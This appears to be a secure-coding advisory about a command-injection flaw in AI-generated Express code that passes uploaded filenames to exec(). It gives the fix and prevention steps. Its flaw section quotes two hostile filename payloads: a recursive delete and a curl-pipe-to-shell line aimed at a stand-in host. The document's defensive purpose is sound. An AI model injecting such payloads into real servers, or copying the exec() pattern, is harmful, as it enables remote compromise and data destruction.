The Filename That Ran a Shell Command
exec() interpolates the uploaded name straight into the shell
Published Oct 29, 2026
Executive Summary
A vibe-coded Express app generates thumbnails by running ImageMagick with exec() and interpolating the uploaded filename into the command string. exec() runs a shell, so a filename like ; rm -rf / chains arbitrary commands. The upload feature is a command-injection endpoint.
The Prompt
“Generate a thumbnail by running ImageMagick's convert on the uploaded file.”
The Flaw
exec() runs the string through a shell, so shell metacharacters in the filename are interpreted. A filename of `; rm -rf /` — or `$(curl evil.sh | sh)` — chains arbitrary commands after the intended one. The thumbnail feature never touches user input in a safe form: it feeds it to /bin/sh.
Risk & Impact
[Security] Any visitor who can upload a file can run commands on the server. The filename is the payload, and the shell does the rest.
Cost: Remote command execution and full server compromise from a single upload.
Code Comparison
❌ Vulnerable (AI generated)
❌ Vulnerable (AI generated)
✅ Hardened (production ready)
The Fix
Use execFile()/spawn() with an argument array — no shell, no metacharacter interpretation — and validate the filename against an allowlist before it reaches the command.
Prevention
- [linter] ESLint security plugins flag exec() with concatenated strings; require execFile/spawn with argument arrays.
- [ci] A test that uploads a filename containing ; or $(...) must never result in the injected command being run.
- [manual] Forbid shell-string construction (rule 6) and validate every argument at the boundary (rule 3).
Why This Happened
Root cause: the prompt omitted Rule 3 and Rule 6 — the guardrails that would have caught this. See the full guide →
